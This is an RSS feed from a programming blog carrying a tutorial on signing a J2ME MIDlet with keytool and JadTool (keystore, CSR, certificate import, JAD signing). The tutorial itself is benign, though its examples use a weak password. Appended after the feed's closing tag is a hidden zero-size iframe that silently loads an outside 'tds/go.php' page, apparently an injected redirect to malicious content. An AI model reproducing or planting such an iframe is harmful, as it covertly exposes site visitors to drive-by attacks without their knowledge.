<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; thawte</title>
	<atom:link href="http://www.dijexi.com/tag/thawte/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>How to Sign a MIDlet</title>
		<link>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/</link>
		<comments>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/#comments</comments>
		<pubDate>Mon, 14 Dec 2009 10:34:34 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Funambol]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[certificate authority]]></category>
		<category><![CDATA[Certificate Signing Request]]></category>
		<category><![CDATA[CSR]]></category>
		<category><![CDATA[keytool]]></category>
		<category><![CDATA[Sign a Midlet]]></category>
		<category><![CDATA[thawte]]></category>
		<category><![CDATA[verisign]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/12/how-to-sign-a-midlet/</guid>
		<description><![CDATA[These are the required steps in summary to sign MIDlets with a certificate. Generate public/private key pairs. Generate Certificate Signing Request (CSR) and submit it to CA . Sign the MIDLet with the certificate. Here are the list of software required to accomplish the steps: Sun Java 2 SDK or JRE Sun Wireless Tool Kit [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>These are the required steps in summary to sign MIDlets with a certificate.</p>
<ol>
<li>Generate public/private key pairs. </li>
<li>Generate Certificate Signing Request (CSR) and submit it to CA . </li>
<li>Sign the MIDLet with the certificate. </li>
</ol>
<p>Here are the list of software required to accomplish the steps:</p>
<ol>
<li>Sun Java 2 SDK or JRE </li>
<li>Sun Wireless Tool Kit (WTK) </li>
</ol>
<h2>Generate public/private key pairs</h2>
<h3>Create a Keystore</h3>
<p>From the command line navigate to Java 2 SDK bin directory (if it is not in the PATH yet) and type the below command :</p>
<blockquote><p>keytool -genkey -keyalg rsa -keystore &lt;keystore_filename&gt; -alias &lt;alias_name&gt;</p>
</blockquote>
<p>It prompts you to enter a password for your keystore, your name, organization, and address. For example:</p>
<p> <span id="more-1292"></span><br />
<blockquote>
<p>C:\tmp&gt;<strong>keytool -genkey -keyalg rsa -keystore vitraining.keystore -alias vitraining        <br /></strong>Enter keystore password:&#160; <strong>1234567890</strong>       <br />What is your first and last name?       <br />&#160; [Unknown]:&#160; <strong>akhmad daniel        <br /></strong>What is the name of your organizational unit?       <br />&#160; [Unknown]:&#160; <strong>vitraining</strong>       <br />What is the name of your organization?       <br />&#160; [Unknown]:&#160; <strong>vitraining</strong>       <br />What is the name of your City or Locality?       <br />&#160; [Unknown]:&#160; <strong>bandung</strong>       <br />What is the name of your State or Province?       <br />&#160; [Unknown]:&#160; <strong>jawa barat        <br /></strong>What is the two-letter country code for this unit?       <br />&#160; [Unknown]:&#160; <strong>ID</strong>       <br />Is CN=akhmad daniel, OU=vitraining, O=vitraining, L=bandung, ST=jawa barat, C=ID       <br />correct?       <br />&#160; [no]:&#160; <strong>yes</strong> </p>
<p>Enter key password for &lt;vitraining&gt;      <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; (RETURN if same as keystore password):</p>
</blockquote>
<p>You will find the keystore file on the directory called <strong>vitraining.keystore</strong>.</p>
<p>&#160;</p>
<h3>List the generated keypairs </h3>
<p>To see your generated keypairs entry, type the below command :</p>
<blockquote><p>keytool -keystore &lt;keystore_filename&gt; –list</p>
</blockquote>
<p>For example:</p>
<blockquote><p>C:\tmp&gt;<strong>keytool -keystore vitraining.keystore -list        <br /></strong>Enter keystore password:&#160; <strong>1234567890</strong> </p>
<p>Keystore type: jks      <br />Keystore provider: SUN </p>
<p>Your keystore contains 1 entry </p>
<p>vitraining, Dec 14, 2009, keyEntry,      <br />Certificate fingerprint (MD5): CA:EE:0C:D6:64:4D:C3:A3:B9:92:9B:14:58:E0:A1:76</p>
</blockquote>
<p>&#160;</p>
<h2>Generate Certificate Signing Request (CSR) and submit it to CA</h2>
<p>Next, you need to generate a Certificate Signing Request (CSR) for the enrollment process.</p>
<h3>Generate CSR</h3>
<p>Type the below command to create a CSR for the key pair in the keystore:</p>
<blockquote><p>keytool –certreq –file &lt;certreq_filename.csr&gt; –keystore &lt;keystore_filename&gt; -alias &lt;alias_name&gt;</p>
</blockquote>
<p>For example:</p>
<blockquote><p>C:\tmp&gt;<strong>keytool -certreq -file vitraining.csr -keystore vitraining.keystore -alias vitraining</strong>       <br />Enter keystore password:&#160; <strong>1234567890</strong></p>
</blockquote>
<p>You will find a new CSR file in the directory called <strong>vitraining.csr</strong>. Submit the generated CSR to CA.</p>
<p>&#160;</p>
<h2>Sign the MIDLet with the certificate</h2>
<p>Once the CA has approved your request, you will receive the certificate, usually by email containing the certificate. You need to copy paste or save the attachment of the certificate file to a file. The next steps are:</p>
<h3>Import the certificate to your keystore</h3>
<p>Use the below command </p>
<blockquote><p>keytool –import –trustcacerts –keystore &lt;keystore_filename&gt; -alias &lt;alias_name&gt; -file &lt;cert_filename&gt;</p>
</blockquote>
<p> For example:</p>
<blockquote><p>C:\tmp&gt;<strong>keytool -import -trustcacerts -keystore vitraining.keystore -alias vitraining -file vitraining.cert</strong>      <br />Enter keystore password:&#160; <strong>1234567890       <br /></strong>Certificate reply was installed in keystore</p>
</blockquote>
<p>Now the keystore is filled up with the valid certificate.</p>
<p>&#160;</p>
<h3>Sign the JAD file </h3>
<p>Use JadTool utility to sign a JAR file by adding both of the certificate and the JAR file’s digital signature to the Java Application Descriptor (JAD) file, the process will be :</p>
<h4>a. Adding the certificate to JAD </h4>
<p>To add the certificate as the value of an attribute named <kbd>MIDlet-Certificate-</kbd><i>m</i><kbd>-</kbd><i>n,</i> we will use JadTool.jar. Here <i>m</i> is the number of the certificate chain, and <i>n</i> is an integer that, for new certificates, begins at one and increments by one each time you add a new certificate to the JAD file.</p>
<blockquote><p>java -jar %WTK_HOME%\bin\JadTool.jar -addcert -keystore &lt;keystorename&gt; -alias &lt;aliasname&gt; -storepass &lt;password&gt; -inputjad &lt;input_jadfile&gt; -outputjad &lt;output_jadfile&gt;</p>
</blockquote>
<p>For example:</p>
<blockquote><p>java -jar %WTK_HOME%\bin\JadTool.jar -addcert -keystore vitraining.keystore -alias vitraining -storepass 1234567890 -inputjad test.jad -outputjad test_t.jad</p>
</blockquote>
<p>When succeeded, you should see the below attributes added to your output JAD file (in the example test_t.jad):</p>
<blockquote><p>MIDlet-Certificate-1-1</p>
<p>MIDlet-Certificate-1-2</p>
<p>MIDlet-Certificate-1-3 </p>
</blockquote>
<h4>b. Adding JAR’s digital signature to the JAD</h4>
<p>This last process will get the JAR’s digital signature, stores it as the value of the <kbd>MIDlet-Jar-RSA-SHA1</kbd><a name="50647048_marker-1002232"></a> attribute of the output JAD file.</p>
<blockquote><p>java -jar %WTK_HOME%\bin\jadtool.jar -addjarsig -jarfile &lt;jar_file&gt; -keystore &lt;keystorename&gt; -alias &lt;aliasname&gt; -storepass &lt;password&gt; -keypass &lt;password&gt; -inputjad &lt;input_jadfile&gt; -outputjad &lt;output_jadfile&gt;</p>
</blockquote>
<p>The default value for -jarfile is the MIDlet-Jar-URL property in the JAD file. For example:</p>
<blockquote><p>java -jar %WTK_HOME%\bin\jadtool.jar -addjarsig -jarfile test.jar -keystore vitraining.keystore -alias vitraining -storepass 1234567890 -keypass 1234567890 -inputjad test.jad –outputjad test_t.jad</p>
</blockquote>
<h2>Conclusion</h2>
<p>Here is to conclude:</p>
<ol>
<li>keystore file is the file you created for storing public and private key pairs</li>
<li>csr file is the file you created for submission to get a valid certificate from CA</li>
<li>after getting the certificate, save it to a file, and the store it to back your keystore file</li>
<li>the keystore file is ready for use for signing JAR and JAD files</li>
</ol>
<p>&#160;</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:e5519c91-1061-4d75-ba86-c4d255b4f4d7" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/Sign+a+Midlet" rel="tag">Sign a Midlet</a>,<a href="http://technorati.com/tags/keytool" rel="tag">keytool</a>,<a href="http://technorati.com/tags/verisign" rel="tag">verisign</a>,<a href="http://technorati.com/tags/Certificate+Signing+Request" rel="tag">Certificate Signing Request</a>,<a href="http://technorati.com/tags/CSR" rel="tag">CSR</a>,<a href="http://technorati.com/tags/thawte" rel="tag">thawte</a>,<a href="http://technorati.com/tags/certificate+authority" rel="tag">certificate authority</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/08/j2me-current-date-and-time/" rel="bookmark">J2ME Current date and Time</a></li><li><a href="http://www.dijexi.com/2010/08/creating-gps-tracker-application-on-j2me-phones/" rel="bookmark">Creating GPS Tracker Application on J2ME Phones</a></li><li><a href="http://www.dijexi.com/2009/07/best-wordpress-plugin-for-facebook/" rel="bookmark">Best WordPress Plugin for Facebook</a></li><li><a href="http://www.dijexi.com/2009/09/google-reinvents-the-phone-with-google-voice/" rel="bookmark">Google Reinvents the Phone with Google Voice</a></li><li><a href="http://www.dijexi.com/2010/11/what-is-autoblogging-all-about/" rel="bookmark">What is Autoblogging All About?</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F12%2Fhow-to-sign-a-midlet%2F&amp;linkname=How%20to%20Sign%20a%20MIDlet"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
